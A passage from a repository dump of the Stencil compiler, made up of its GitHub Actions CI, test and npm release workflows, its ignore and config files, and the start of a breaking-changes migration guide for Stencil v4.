run: npm run lint
- name: Prettier Check
run: npm run prettier.dry-run
shell: bash
- name: Spellcheck
run: npm run spellcheck
================================================
FILE: .github/workflows/main.yml
================================================
name: CI
on:
merge_group:
push:
branches:
- 'main'
- 'stencil/v4-dev'
pull_request:
branches:
- '**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
build_core:
name: Build
uses: ./.github/workflows/build.yml
lint_and_format:
name: Lint and Format
uses: ./.github/workflows/lint-and-format.yml
type_tests:
name: Type Tests
needs: [build_core]
uses: ./.github/workflows/test-types.yml
analysis_tests:
name: Analysis Tests
needs: [build_core]
uses: ./.github/workflows/test-analysis.yml
docs_build_tests:
name: Docs Build Tests
needs: [build_core]
uses: ./.github/workflows/test-docs-build.yml
bundler_tests:
name: Bundler Tests
needs: [build_core]
uses: ./.github/workflows/test-bundlers.yml
copytask_tests:
name: Copy Task Tests
needs: [build_core]
uses: ./.github/workflows/test-copytask.yml
component_starter_tests:
name: Component Starter Smoke Test
needs: [build_core]
uses: ./.github/workflows/test-component-starter.yml
e2e_tests:
name: E2E Tests
needs: [build_core]
uses: ./.github/workflows/test-e2e.yml
unit_tests:
name: Unit Tests
needs: [build_core]
uses: ./.github/workflows/test-unit.yml
wdio_tests:
name: WebdriverIO Tests
needs: [build_core]
uses: ./.github/workflows/test-wdio.yml
================================================
FILE: .github/workflows/publish-npm.yml
================================================
name: 'Release'
on:
workflow_call:
inputs:
version:
description: 'The type of version to release.'
required: true
type: string
tag:
description: 'The tag to publish to on NPM.'
required: true
type: string
node-version:
description: 'Node.js version to use when publishing.'
required: false
type: string
default: '20'
registry-url:
description: 'Registry URL used for npm publish.'
required: false
type: string
default: 'https://registry.npmjs.org'
scope:
description: 'npm scope that should use the trusted publisher auth.'
required: false
type: string
default: '@stencil'
permissions:
contents: write
id-token: write
jobs:
publish:
runs-on: ubuntu-latest
steps:
- name: 📥 Checkout Code
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
- name: 🕸️ Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: 🟢 Configure Node for Publish
uses: actions/setup-node@2028fbc5c25fe9cf00d9f06a71cc4710d4507903 # v6.0.0
with:
node-version: ${{ inputs.node-version }}
registry-url: ${{ inputs.registry-url }}
scope: ${{ inputs.scope }}
- name: 🔄 Ensure Latest npm
run: npm install -g npm@latest
shell: bash
- name: 📥 Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: 🏷️ Set Version
run: npm version --no-git-tag-version --allow-same-version ${{ inputs.version }}
shell: bash
- name: 🚀 Publish to NPM
run: npm publish --tag ${{ inputs.tag }} --provenance
shell: bash
================================================
FILE: .github/workflows/release-dev.yml
================================================
name: 'Stencil Dev Release'
on:
workflow_call:
outputs:
dev-version:
description: The version that was just published to npm.
value: ${{ jobs.get-dev-version.outputs.dev-version }}
permissions:
contents: write
id-token: write
jobs:
build_core:
name: 🏗️ Build
uses: ./.github/workflows/build.yml
get-dev-version:
name: 🔍 Get Dev Build Version
needs: [build_core]
runs-on: ubuntu-22.04
outputs:
dev-version: ${{ steps.get-dev-version.outputs.DEV_VERSION }}
steps:
- name: 📥 Checkout Code
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
- name: 🕸️ Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: 📥 Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: 🔎 Get Version
id: get-dev-version
run: |
# A unique string to publish Stencil under
# e.g. "3.0.1-dev.1677185104.7c87e34"
#
# Pull this value from the compiled artifacts
DEV_VERSION=$(./bin/stencil version)
echo "Using version $DEV_VERSION"
# store a key/value pair in GITHUB_OUTPUT
# e.g. "DEV_VERSION=3.0.1-dev.1677185104.7c87e34"
echo "DEV_VERSION=$DEV_VERSION" >> $GITHUB_OUTPUT
shell: bash
release-stencil-dev-build:
name: 🚀 Publish Dev Build
needs: [get-dev-version, build_core]
uses: ./.github/workflows/publish-npm.yml
with:
tag: dev
version: ${{ needs.get-dev-version.outputs.dev-version }}
================================================
FILE: .github/workflows/release-nightly.yml
================================================
name: 'Stencil Nightly Release'
on:
workflow_call:
permissions:
contents: write
id-token: write
jobs:
build_core:
name: 🏗️ Build
uses: ./.github/workflows/build.yml
get-nightly-version:
name: 🔍 Get Nightly Build Version
needs: [build_core]
runs-on: ubuntu-22.04
outputs:
nightly-version: ${{ steps.get-nightly-version.outputs.NIGHTLY_VERSION }}
steps:
- name: 📥 Checkout Code
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
- name: 🕸️ Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: 📥 Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: 🔎 Get Version
id: get-nightly-version
run: |
# A unique string to publish Stencil under
# e.g. "3.0.1-dev.1677185104.7c87e34"
#
# Note: A 'nightly' build is just a 'dev' build that is published at
# night, under the 'nightly' tag in npm
#
# Pull this value from the compiled artifacts
NIGHTLY_VERSION=$(./bin/stencil version)
echo "Using version $NIGHTLY_VERSION"
# store a key/value pair in GITHUB_OUTPUT
# e.g. "NIGHTLY_VERSION=3.0.1-dev.1677185104.7c87e34"
echo "NIGHTLY_VERSION=$NIGHTLY_VERSION" >> $GITHUB_OUTPUT
shell: bash
release-stencil-nightly-build:
name: 🚀 Publish Nightly Build
needs: [get-nightly-version, build_core]
uses: ./.github/workflows/publish-npm.yml
with:
tag: nightly
version: ${{ needs.get-nightly-version.outputs.nightly-version }}
================================================
FILE: .github/workflows/release-orchestrator.yml
================================================
name: 'Stencil Release'
on:
schedule:
# Run every Monday-Friday at 5:00 AM (UTC)
- cron: '00 05 * * 1-5'
workflow_dispatch:
inputs:
release-type:
description: 'Which Stencil release workflow should run?'
required: true
type: choice
default: nightly
options:
- dev
- nightly
- production
tag:
description: 'npm tag for production releases.'
required: false
type: choice
default: latest
options:
- dev
- latest
- use_pkg_json_version
base:
description: 'Base branch for production releases.'
required: false
type: choice
default: main
options:
- main
- v3-maintenance
permissions:
contents: write
id-token: write
jobs:
run-nightly:
if: ${{ github.event_name == 'schedule' || (github.event_name == 'workflow_dispatch' && inputs.release-type == 'nightly') }}
uses: ./.github/workflows/release-nightly.yml
secrets: inherit
run-dev:
if: ${{ github.event_name == 'workflow_dispatch' && inputs.release-type == 'dev' }}
uses: ./.github/workflows/release-dev.yml
secrets: inherit
run-production:
if: ${{ github.event_name == 'workflow_dispatch' && inputs.release-type == 'production' }}
uses: ./.github/workflows/release-production.yml
secrets: inherit
with:
tag: ${{ inputs.tag }}
base: ${{ inputs.base }}
================================================
FILE: .github/workflows/release-production.yml
================================================
name: 'Stencil Production Release'
on:
workflow_call:
inputs:
tag:
required: false
default: latest
type: string
description: Which npm tag should this be published to? (dev, latest, or use_pkg_json_version)
base:
required: true
type: string
description: Which base branch should be targeted? (main or v3-maintenance)
default: main
permissions:
contents: write
id-token: write
jobs:
release-stencil-production-build:
name: Publish Stencil (Production)
runs-on: ubuntu-latest
permissions:
contents: write
id-token: write
steps:
# Log the input from GitHub Actions for easy traceability
- name: 🔒 Log GitHub Workflow UI Input
run: |
echo "Tag: ${{ inputs.tag }}"
echo "Base Branch: ${{ inputs.base }}"
shell: bash
- name: 🔎 Verify that the 'latest' tag is applied only to the 'main' branch
run: |
echo "The 'latest' tag can only be published from the 'main' branch. Exiting."
exit 1
shell: bash
if: ${{ inputs.base != 'main' && inputs.tag == 'latest' }}
- name: 📥 Checkout Code
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
with:
# A depth of 0 gets the entire git history, which we'll want for things like checking all git history/tags.
# We need git history to generate the changelog; however, we don't know how deep to go.
# Since publishing is a one-off activity, just get everything.
fetch-depth: 0
ref: ${{ inputs.base }}
- name: 🕸️ Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: 🟢 Configure Node for Publish
uses: actions/setup-node@2028fbc5c25fe9cf00d9f06a71cc4710d4507903 # v6.0.0
with:
node-version: '20'
registry-url: 'https://registry.npmjs.org'
- name: 🔄 Ensure Latest npm
run: npm install -g npm@latest
shell: bash
- name: 📦 Run Publish Scripts
# pass the generated version number instead of the input, since we've already incremented it in the prerelease
# step
run: npm run release.ci -- --tag ${{ inputs.tag }}
shell: bash
================================================
FILE: .github/workflows/reproduire.yml
================================================
name: Needs Reproduction
on:
issues:
types: [labeled]
permissions:
issues: write
jobs:
reproduire:
runs-on: ubuntu-latest
if: "github.event.label.name == 'ionitron: needs reproduction'"
steps:
- uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v4
- uses: Hebilicious/reproduire@v0.0.9-mp
with:
label: 'ionitron: needs reproduction'
================================================
FILE: .github/workflows/test-analysis.yml
================================================
name: Analysis Tests
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
analysis_test:
name: (${{ matrix.os }}.${{ matrix.node }})
strategy:
fail-fast: false
matrix:
node: ['20', '22']
os: ['ubuntu-latest', 'windows-latest']
runs-on: ${{ matrix.os }}
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Use Node ${{ matrix.node }}
uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
with:
node-version: ${{ matrix.node }}
cache: 'npm'
- name: Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: Bundle Size Test
run: npm run test.bundle-size
shell: bash
- name: Check Git Context
uses: ./.github/workflows/actions/check-git-context
================================================
FILE: .github/workflows/test-bundlers.yml
================================================
name: Bundler Tests
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
bundler_tests:
name: Verify Bundlers
runs-on: 'ubuntu-22.04'
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: Bundler Tests
run: npm run test.bundlers
shell: bash
- name: Check Git Context
uses: ./.github/workflows/actions/check-git-context
================================================
FILE: .github/workflows/test-component-starter.yml
================================================
name: Component Starter Smoke Test
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
analysis_test:
name: (${{ matrix.os }}.node-${{ matrix.node }})
strategy:
fail-fast: false
matrix:
node: ['20', '22']
os: ['ubuntu-latest', 'windows-latest']
runs-on: ${{ matrix.os }}
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Use Node ${{ matrix.node }}
uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
with:
node-version: ${{ matrix.node }}
cache: 'npm'
- name: Create Pack Directory
# `mkdir` will fail if this directory already exists.
# in the next steps, we'll immediately put the packed build archive in this directory.
# between that and excluding `*.tgz` files in `.gitignore`, that _should_ make it safe enough for us to later
# use `mv` to rename the `npm pack`ed tarball
run: mkdir stencil-pack-destination
shell: bash
- name: Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: ./stencil-pack-destination
filename: stencil-core-build.zip
- name: Copy package.json
# need `package.json` in order to run `npm pack`
run: cp package.json ./stencil-pack-destination
shell: bash
- name: Copy bin
# `bin/` isn't a part of the compiled output (therefore not in the build archive).
# we need this entrypoint for stencil to run.
run: cp -R bin ./stencil-pack-destination
shell: bash
- name: Remove node_modules
# clear out our local `node_modules/` so that they're not linked to in any way when `npm pack` is run
run: rm -rf node_modules/
shell: bash
- name: Pack the Build Archive
run: npm pack
working-directory: ./stencil-pack-destination
shell: bash
- name: Move the Stencil Build Artifact
# there isn't a great way to get the output of `npm pack`, just grab the most recent from our destination
# directory and hope for the best.
#
# we don't set the working-directory here to avoid having to deal with relative paths in the destination arg
run: mv $(ls -t stencil-pack-destination/*.tgz | head -1) stencil-eval.tgz
shell: bash
- name: Initialize Component Starter
run: npm init stencil component tmp-component-starter
shell: bash
- name: Install Component Starter Dependencies
run: npm install
working-directory: ./tmp-component-starter
shell: bash
- name: Install Stencil Eval
run: npm i ../stencil-eval.tgz
working-directory: ./tmp-component-starter
shell: bash
- name: Install Playwright Browsers
run: npx playwright install
- name: Build Starter Project
run: npm run build
working-directory: ./tmp-component-starter
shell: bash
- name: Test Starter Project
run: npm run test -- --no-build # the project was just built, don't build it again
working-directory: ./tmp-component-starter
shell: bash
# TEMPORARILY DISABLE
# Disable until we update the generate task in v5 to work with new testing setup.
# - name: Test npx stencil generate
# # `stencil generate` doesn't have a way to skip file generation, so we provide it with a component name and run
# # `echo` with a newline to select "all files" to generate (and use -e to interpret that backslash for a newline)
# run: echo -e '\n' | npm run generate -- hello-world
# working-directory: ./tmp-component-starter
# shell: bash
# - name: Verify Files Exist
# run: |
# file_list=(
# src/components/hello-world/hello-world.tsx
# src/components/hello-world/hello-world.css
# src/components/hello-world/test/hello-world.spec.tsx
# src/components/hello-world/test/hello-world.e2e.ts
# )
# for file in "${file_list[@]}"; do
# if [ -f "$file" ]; then
# echo "File '$file' exists."
# else
# echo "File '$file' does not exist."
# exit 1
# fi
# done
# working-directory: ./tmp-component-starter
# shell: bash
# - name: Test Generated Files
# run: npm run test
# working-directory: ./tmp-component-starter
# shell: bash
================================================
FILE: .github/workflows/test-copytask.yml
================================================
name: Copy Task Tests
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
bundler_tests:
name: Verify Copy Task
runs-on: 'ubuntu-22.04'
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: Bundler Tests
run: npm run test.copytask
shell: bash
- name: Check Git Context
uses: ./.github/workflows/actions/check-git-context
================================================
FILE: .github/workflows/test-docs-build.yml
================================================
name: Docs OT Build Tests
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
docs_build_test:
name: (${{ matrix.os }}.${{ matrix.node }})
strategy:
fail-fast: false
matrix:
node: ['20', '22']
os: ['ubuntu-latest', 'windows-latest']
runs-on: ${{ matrix.os }}
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Use Node ${{ matrix.node }}
uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
with:
node-version: ${{ matrix.node }}
cache: 'npm'
- name: Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: Docs Build Tests
run: npm run test.docs-build
shell: bash
- name: Check Git Context
uses: ./.github/workflows/actions/check-git-context
================================================
FILE: .github/workflows/test-e2e.yml
================================================
name: E2E Tests
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
e2e_test:
name: (${{ matrix.os }}.${{ matrix.node }})
strategy:
fail-fast: false
matrix:
node: ['20', '22']
os: ['ubuntu-latest', 'windows-latest']
runs-on: ${{ matrix.os }}
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Use Node ${{ matrix.node }}
uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
with:
node-version: ${{ matrix.node }}
cache: 'npm'
- name: Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: End-to-End Tests
uses: nick-fields/retry@7152eba30c6575329ac0576536151aca5a72780e # v3.0.0
with:
timeout_minutes: 10
max_attempts: 3
command: npm run test.end-to-end -- --ci
- name: Check Git Context
uses: ./.github/workflows/actions/check-git-context
================================================
FILE: .github/workflows/test-types.yml
================================================
name: Type Tests
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
unit_test:
name: Type Tests
strategy:
fail-fast: false
matrix:
node: ['20', '22']
runs-on: ubuntu-latest
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Use Node ${{ matrix.node }}
uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
with:
node-version: ${{ matrix.node }}
cache: 'npm'
- name: Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: Type Tests
run: npm run test.type-tests
shell: bash
================================================
FILE: .github/workflows/test-unit.yml
================================================
name: Unit Tests
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
unit_test:
name: (${{ matrix.os }}.${{ matrix.node }})
strategy:
fail-fast: false
matrix:
node: ['20', '22']
os: ['ubuntu-latest', 'windows-latest']
runs-on: ${{ matrix.os }}
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Use Node ${{ matrix.node }}
uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
with:
node-version: ${{ matrix.node }}
cache: 'npm'
- name: Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: Unit Tests
run: npm run test.jest
shell: bash
- name: Check Git Context
uses: ./.github/workflows/actions/check-git-context
================================================
FILE: .github/workflows/test-wdio.yml
================================================
name: WebdriverIO Tests
on:
workflow_call:
# Make this a reusable workflow, no value needed
# https://docs.github.com/en/actions/using-workflows/reusing-workflows
permissions:
contents: read
jobs:
wdio_test:
name: Run WebdriverIO Component Tests (${{ matrix.browser }})
runs-on: ubuntu-22.04
strategy:
matrix:
# browser: [CHROME, FIREFOX, EDGE]
browser: [CHROME]
steps:
- name: Checkout Code
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- name: Get Core Dependencies
uses: ./.github/workflows/actions/get-core-dependencies
- name: Use Node Version from Volta
uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
with:
# pull the version to use from the volta key in package.json
node-version-file: './test/wdio/package.json'
cache: 'npm'
- name: Download Build Archive
uses: ./.github/workflows/actions/download-archive
with:
name: stencil-core
path: .
filename: stencil-core-build.zip
- name: Run WebdriverIO Component Tests
run: npm run test.wdio
shell: bash
env:
BROWSER: ${{ matrix.browser }}
- name: Check Git Context
uses: ./.github/workflows/actions/check-git-context
================================================
FILE: .gitignore
================================================
*~
*.sw[mnpcod]
*.log
*.lock
*.tmp
*.tmp.*
log.txt
*.sublime-project
*.sublime-workspace
*.tgz
.DS_Store
.idea/
.vscode/
.claude
.history/
.sass-cache/
.versions/
node_modules/
coverage/
/build/
/scripts/build/
dist/
# submodule packages
/build-conditionals
/cli
/compiler
/hydrate
/dev-server
/internal
/mock-doc
/polyfills
/runtime
/server
/sys
/testing
/screenshot/index.js
/screenshot/index.js.map
/screenshot/package.json
/screenshot/pixel-match.js
/screenshot/pixel-match.js.map
/screenshot/*.d.ts
test/**/www/*
test/**/hydrate/*
.stencil
coverage/**
# TODO(STENCIL-446): Remove these once `strictNullChecks` is enabled
null_errors*.json
# TODO(STENCIL-454): Remove or change this up once we've eliminated unused exports
unused-exports*.txt
# readme file from docs-readme that is expected to be missing so it will be emitted in full
test/docs-readme/custom-readme-output-overwrite-if-missing-missing/components/styleurls-component/readme.md
================================================
FILE: .npmrc
================================================
# By default, Node allocates 2 GB for a process to run.
# When building Stencil, it may reach that point before the garbage collector is invoked, causing an out-of-memory
# related failure.
# If this value is changed, please ensure that it works both locally and in a continuous integration environment in
# a repeatable manner (i.e. it can run many times, one after the other, without failing due to out-of-memory errors).
node_options=--max-old-space-size=4096
# TODO(STENCIL-1141): remove `PUPPETEER_DOWNLOAD_BASE_URL` once support for Node v16 is dropped
PUPPETEER_DOWNLOAD_BASE_URL=https://storage.googleapis.com/chrome-for-testing-public
================================================
FILE: .nvmrc
================================================
v22.13.0
================================================
FILE: .prettierignore
================================================
# npm packages in the root of the project and subdirectories
node_modules/
# submodule packages
/build/
/cli/
/compiler/
/dev-server/
/internal/
/mock-doc/
/sys/
/testing/
# shims that are attributed to external authors, and are minified out of the box
/src/client/polyfills/core-js.js
/src/client/polyfills/dom.js
/src/client/polyfills/es5-html-element.js
/src/client/polyfills/index.js
/src/client/polyfills/system.js
# project notes shared with the community
/notes/
# output of building various scripts that support the project
/scripts/build/
# these files are intentionally incomplete JavaScript files (they are parts of an Immediately Invoked Funciton
# Expression (IIFE)). They act as a 'header' and 'footer' that get prepended and appended to the Stencil compiler.
# Ignore them so Prettier doesn't fail and the 'prettier-ignore' pragma doesn't get put in the compiler output.
/scripts/bundles/helpers/compiler-cjs-intro.js
/scripts/bundles/helpers/compiler-cjs-outro.js
# code coverage output
coverage/
# output from compiling Stencil projects for testing purposes
test/**/dist/
test/**/dist-react/
test/**/hydrate/
test/**/test-output/
test/**/www/
test/**/components.d.ts
test/end-to-end/screenshot/
test/end-to-end/docs.d.ts
test/end-to-end/docs.json
test/docs-json/docs.d.ts
test/docs-json/docs.json
# minified angular that exists in the test directory
# generated screenshot files
/screenshot/index.js
/screenshot/package.json
/screenshot/pixel-match.js
/screenshot/*.d.ts
# third party scripts
src/mock-doc/third-party/jquery.ts
test/wdio/slot-ng-if/assets/
# wdio test output
test/wdio/test-components
test/wdio/test-components-no-external-runtime
test/wdio/www-global-script/
test/wdio/www-prerender-script
test/wdio/www-invisible-prehydration/
test/wdio/test-ts-target-output
test/wdio/test-components-autoloader
================================================
FILE: BREAKING_CHANGES.md
================================================
# Breaking Changes
This is a comprehensive list of the breaking changes introduced in the major version releases of Stencil.
## Versions
- [Stencil 4.x](#stencil-v400)
- [Stencil 3.x](#stencil-v300)
- [Stencil 2.x](#stencil-two)
- [Stencil 1.x](#stencil-one)
## Stencil v4.0.0
- [New Configuration Defaults](#new-configuration-defaults)
- [transformAliasedImportPaths](#transformaliasedimportpaths)
- [transformAliasedImportPathsInCollection](#transformaliasedimportpathsincollection)
- [In Browser Compilation Support Removed](#in-browser-compilation-support-removed)
- [Legacy Context and Connect APIs Removed](#legacy-context-and-connect-APIs-removed)
- [Legacy Browser Support Removed](#legacy-browser-support-removed)
- [Legacy Cache Stats Config Flag Removed](#legacy-cache-stats-config-flag-removed)
- [Drop Node 14 Support](#drop-node-14-support)
- [Information Included in JSON Documentation Expanded](#information-included-in-docs-json-expanded)
### New Configuration Defaults
Starting with Stencil v4.0.0, the default configuration values have changed for a few configuration options.
The following sections lay out the configuration options that have changed, their new default values, and ways to opt-out of the new behavior (if applicable).
#### `transformAliasedImportPaths`
TypeScript projects have the ability to specify a path aliases via the [`paths` configuration in their `tsconfig.json`](https://www.typescriptlang.org/docs/handbook/module-resolution.html#path-mapping) like so:
```json title="tsconfig.json"
{
"compilerOptions": {
"baseUrl": ".",
"paths": {
"@utils": ["src/utils/index.ts"]
}
}
}
```
In the example above, `"@utils"` would be mapped to the string `"src/utils/index.ts"` when TypeScript performs type resolution.
The TypeScript compiler does not however, transform these paths from their keys to their values as a part of its output.
Instead, it relies on a bundler/loader to do the transformation.
The ability to transform path aliases was introduced in [Stencil v3.1.0](https://github.com/stenciljs/core/releases/tag/v3.1.0) as an opt-in feature.
Previously, users had to explicitly enable this functionality in their `stencil.config.ts` file with `transformAliasedImportPaths`:
```ts title="stencil.config.ts - enabling 'transformAliasedImportPaths' in Stencil v3.1.0"
import { Config } from '@stencil/core';
export const config: Config = {
transformAliasedImportPaths: true,
// ...
};
```
Starting with Stencil v4.0.0, this feature is enabled by default.
Projects that had previously enabled this functionality that are migrating from Stencil v3.1.0+ may safely remove the flag from their Stencil configuration file(s).
For users that run into issues with this new default, we encourage you to file a [new issue on the Stencil GitHub repo](https://github.com/stenciljs/core/issues/new?assignees=&labels=&projects=&template=bug_report.yml&title=bug%3A+).
As a workaround, this flag can be set to `false` to disable the default functionality.
```ts title="stencil.config.ts - disabling 'transformAliasedImportPaths' in Stencil v4.0.0"
import { Config } from '@stencil/core';
export const config: Config = {
transformAliasedImportPaths: false,
// ...
};
```
For more information on this flag, please see the [configuration documentation](https://stenciljs.com/docs/config#transformaliasedimportpaths)
#### `transformAliasedImportPathsInCollection`
Introduced in [Stencil v2.18.0](https://github.com/stenciljs/core/releases/tag/v2.18.0), `transformAliasedImportPathsInCollection` is a configuration flag on the [`dist` output target](https://stenciljs.com/docs/distribution#transformaliasedimportpathsincollection).
`transformAliasedImportPathsInCollection` transforms import paths, similar to [`transformAliasedImportPaths`](#transformaliasedimportpaths).
This flag however, only enables the functionality of `transformAliasedImportPaths` for collection output targets.
Starting with Stencil v4.0.0, this flag is enabled by default.
Projects that had previously enabled this functionality that are migrating from Stencil v2.18.0+ may safely remove the flag from their Stencil configuration file(s).
For users that run into issues with this new default, we encourage you to file a [new issue on the Stencil GitHub repo](https://github.com/stenciljs/core/issues/new?assignees=&labels=&projects=&template=bug_report.yml&title=bug%3A+).
As a workaround, this flag can be set to `false` to disable the default functionality.
```ts title="stencil.config.ts - disabling 'transformAliasedImportPathsInCollection' in Stencil v4.0.0"
import { Config } from '@stencil/core';
export const config: Config = {
outputTargets: [
{
type: 'dist',
transformAliasedImportPathsInCollection: false,
},
// ...
]
// ...
};
```
For more information on this flag, please see the [`dist` output target's documentation](https://stenciljs.com/docs/distribution#transformaliasedimportpathsincollection).
### In Browser Compilation Support Removed
Prior to Stencil v4.0.0, components could be compiled from TSX to JS in the browser.
This feature was seldom used, and has been removed from Stencil.
At this time, there is no replacement functionality.
For additional details, please see the [request-for-comment](https://github.com/stenciljs/core/discussions/4134) on the Stencil GitHub Discussions page.
### Legacy Context and Connect APIs Removed
Previously, Stencil supported `context` and `connect` as options within the `@Prop` decorator.
Both of these APIs were deprecated in Stencil v1 and are now removed.
```ts
@Prop({ context: 'config' }) config: Config;
@Prop({ connect: 'ion-menu-controller' }) lazyMenuCtrl: Lazy<MenuController>;
```
To migrate away from usages of `context`, please see [the original deprecation announcement](#propcontext)
To migrate away from usages of `connect`, please see [the original deprecation announcement](#propconnect)
### Legacy Browser Support Removed
In Stencil v3.0.0, we announced [the deprecation of IE 11, pre-Chromium Edge, and Safari 10 support](#legacy-browser-support-fields-deprecated).
In Stencil v4.0.0, support for these browsers has been dropped (for a full list of supported browsers, please see our [Browser Support policy](https://stenciljs.com/docs/support-policy#browser-support)).
By dropping these browsers, a few configuration options are no longer valid in a Stencil configuration file:
#### `__deprecated__cssVarsShim`
The `extras.__deprecated__cssVarsShim` option caused Stencil to include a polyfill for [CSS variables](https://developer.mozilla.org/en-US/docs/Web/CSS/--*).
This field should be removed from a project's Stencil configuration file (`stencil.config.ts`).
#### `__deprecated__dynamicImportShim`
The `extras.__deprecated__dynamicImportShim` option caused Stencil to include a polyfill for
the [dynamic `import()` function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import)
for use at runtime.
This field should be removed from a project's Stencil configuration file (`stencil.config.ts`).
#### `__deprecated__safari10`
The `extras.__deprecated__safari10` option would patch ES module support for Safari 10.
This field should be removed from a project's Stencil configuration file (`stencil.config.ts`).
#### `__deprecated__shadowDomShim`
The `extras.__deprecated__shadowDomShim` option would check whether a shim for [shadow
DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)
was needed in the current browser, and include one if so.
This field should be removed from a project's Stencil configuration file (`stencil.config.ts`).
### Legacy Cache Stats Config Flag Removed
The `enableCacheStats` flag was used in legacy behavior for caching, but has not been used for some time. This
flag has been removed from Stencil's API and should be removed from a project's Stencil configuration file (`stencil.config.ts`).
### Drop Node 14 Support
Stencil no longer supports Node 14.
Please upgrade local development machines, continuous integration pipelines, etc. to use Node v16 or higher.
For the full list of supported runtimes, please see [our Support Policy](https://stenciljs.com/docs/support-policy#javascript-runtime).
### Information Included in `docs-json` Expanded
For Stencil v4 the information included in the output of the `docs-json` output
target was expanded to include more information about the types of properties
and methods on Stencil components.
For more context on this change, see the [documentation for the new
`supplementalPublicTypes`](https://stenciljs.com/docs/docs-json#supplementalpublictypes)
option for the JSON documentation output target.
#### `JsonDocsEvent`
The JSON-formatted documentation for an `@Event` now includes a field called
`complexType` which includes more information about the types referenced in the
type declarations for that property.
